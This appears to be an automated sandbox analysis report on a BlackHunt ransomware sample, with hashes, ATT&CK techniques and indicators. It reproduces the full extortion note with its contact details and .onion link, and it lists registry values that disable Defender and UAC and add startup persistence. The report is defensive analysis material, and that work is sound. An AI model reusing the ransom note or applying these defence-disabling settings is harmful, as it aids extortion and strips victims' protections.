c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c

Analysis

max time kernel
119s
max time network
123s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
19/01/2024, 00:51

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General

Target

c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
Size

707KB
MD5

9eb2912a5baf771c779a270fd54f1e72
SHA1

d477c0c72ac42fc4771f99eff925a6737f64ea13
SHA256

c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c
SHA512

d4047053fcab32bb2a3599c3fcfb78a771e828126656db2dd0e9b4c44458f49235d8657ede53edcf0c76bbcb88b9c56ab1c59ac7bb7df07fe1bbcc5831296df2
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1j8Zvnh:6uaTmkZJ+naie5OTamgEoKxLWCdh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> 8b97Ig9Z8Ie846Im </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2676	fsutil.exe
2900	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
2368	wevtutil.exe
2220	wevtutil.exe
2568	wevtutil.exe
636	wevtutil.exe
2472	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2528	bcdedit.exe
3044	bcdedit.exe
872	bcdedit.exe
1572	bcdedit.exe

Renames multiple (2885) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2700	wbadmin.exe
2844	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
2952	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Z:	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened (read-only)	\??\U:	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened (read-only)	\??\S:	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened (read-only)	\??\I:	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened (read-only)	\??\H:	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened (read-only)	\??\N:	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened (read-only)	\??\M:	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened (read-only)	\??\R:	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened (read-only)	\??\J:	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened (read-only)	\??\B:	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened (read-only)	\??\E:	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened (read-only)	\??\Y:	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\L:	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\W:	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened (read-only)	\??\A:	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened (read-only)	\??\X:	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened (read-only)	\??\V:	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened (read-only)	\??\T:	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened (read-only)	\??\K:	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened (read-only)	\??\O:	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened (read-only)	\??\P:	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened (read-only)	\??\G:	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.http.registry_1.1.300.v20130402-1529.jar	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-templates.jar	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Antarctica\Davis	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\is\#BlackHunt_ReadMe.txt	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1251.TXT	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_zh_CN.jar	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\javaws.policy	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Kaliningrad	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\dialogs\browse_window.html	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\access\#BlackHunt_Private.key	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\af\#BlackHunt_ReadMe.hta	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Whitehorse	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pt_BR\LC_MESSAGES\#BlackHunt_ReadMe.txt	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sk\LC_MESSAGES\#BlackHunt_ReadMe.hta	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\anevia_streams.luac	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File created	C:\Program Files\7-Zip\#BlackHunt_ReadMe.txt	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\META-INF\ECLIPSE_.SF	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\#BlackHunt_Private.key	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\dotslightoverlay.png	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File created	C:\Program Files\Java\jre7\lib\applet\#BlackHunt_ReadMe.hta	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\whitevignette1047.png	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.console_5.5.0.165303\#BlackHunt_ReadMe.hta	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File created	C:\Program Files\Java\jre7\#BlackHunt_Private.key	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-util-enumerations_zh_CN.jar	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_100_eeeeee_1x100.png	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\#BlackHunt_ReadMe.hta	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
